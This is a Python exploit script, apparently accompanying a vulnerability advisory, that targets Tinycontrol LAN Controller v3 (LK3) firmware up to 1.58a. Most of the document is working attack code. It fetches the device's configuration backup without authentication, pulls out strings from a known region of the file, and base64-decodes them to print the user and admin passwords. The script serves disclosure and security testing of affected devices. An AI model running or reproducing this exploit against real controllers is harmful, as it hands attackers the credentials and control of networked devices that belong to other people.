#!/usr/bin/env python # #Exploit Title: Tinycontrol LAN Controller v3 (LK3) - Remote Credentials Extraction # Exploit Author: LiquidWorm # # Vendor: Tinycontrol # Product web page: https://www.tinycontrol.pl # Affected version: <=1.58a, HW 3.8 # # Summary: Lan Controller is a very universal # device that allows you to connect many different # sensors and remotely view their readings and # remotely control various types of outputs. # It is also possible to combine both functions # into an automatic if -> this with a calendar # when -> then. The device provides a user interface # in the form of a web page. The website presents # readings of various types of sensors: temperature, # humidity, pressure, voltage, current. It also # allows you to configure the device, incl. event # setting and controlling up to 10 outputs. Thanks # to the support of many protocols, it is possible # to operate from smartphones, collect and observ # the results on the server, as well as cooperation # with other I/O systems based on TCP/IP and Modbus. # # Desc: An unauthenticated attacker can retrieve the # controller's configuration backup file and extract # sensitive information that can allow him/her/them # to bypass security controls and penetrate the system # in its entirety. # # Tested on: lwIP # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2023-5786 # Advisory ID: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5786.php # # # 18.08.2023 # # import subprocess import requests import base64 import sys binb = "lk3_settings.bin" outf = "lk3_settings.enc" bpatt = "0upassword" epatt = "pool.ntp.org" startf = False endf = False extral = [] print(""" O`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'O | | | Tinycontrol LK3 1.58 Settings DL | | ZSL-2023-5786 | | 2023 (c) Zero Science Lab | | | |`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'| | | """) if len(sys.argv) != 2: print("[?] Vaka: python {} ipaddr:port".format(sys.argv[0])) exit(-0) else: rhost=sys.argv[1] if not "http" in rhost: rhost="http://{}".format(rhost) try: resp = requests.get(rhost + "/" + binb) if resp.status_code == 200: with open(outf, 'wb') as f: f.write(resp.content) print(f"[*] Got data as {outf}") else: print(f"[!] Backup failed. Status code: {resp.status_code}") except Exception as e: print("[!] Error:", str(e)) exit(-1) binf = outf sout = subprocess.check_output(["strings", binf], universal_newlines = True) linea = sout.split("\n") for thricer in linea: if bpatt in thricer: startf = True elif epatt in thricer: endf = True elif startf and not endf: extral.append(thricer) if len(extral) >= 4: userl = extral[1].strip() adminl = extral[3].strip() try: decuser = base64.b64decode(userl).decode("utf-8") decadmin = base64.b64decode(adminl).decode("utf-8") print("[+] User password:", decuser) print("[+] Admin password:", decadmin) except Exception as e: print("[!] Error decoding:", str(e)) else: print("[!] Regex failed.") exit(-2)